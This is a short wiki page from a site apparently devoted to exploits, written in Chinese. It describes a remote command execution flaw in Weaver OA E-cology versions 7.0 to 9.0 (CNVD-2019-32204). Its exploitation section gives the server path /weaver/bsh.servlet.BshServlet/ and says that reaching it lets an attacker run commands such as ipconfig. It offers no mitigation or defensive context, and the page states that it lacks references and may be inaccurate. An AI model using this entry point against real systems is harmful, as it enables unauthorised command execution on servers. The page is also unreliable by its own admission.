泛微OA E-cology(CNVD-2019-32204)遠程命令執行漏洞

From PwnWiki
Other languages:
Chinese • ‎中文(繁體)‎
Book.png 這個頁面的內容缺少參考,無法保證內容的準確性。



影響版本

E-cology 7.0

E-cology 8.0

E-cology 8.1

E-cology 9.0

漏洞利用

直接在網址後加入以下訪問路徑,可以執行ipconfig.

/weaver/bsh.servlet.BshServlet/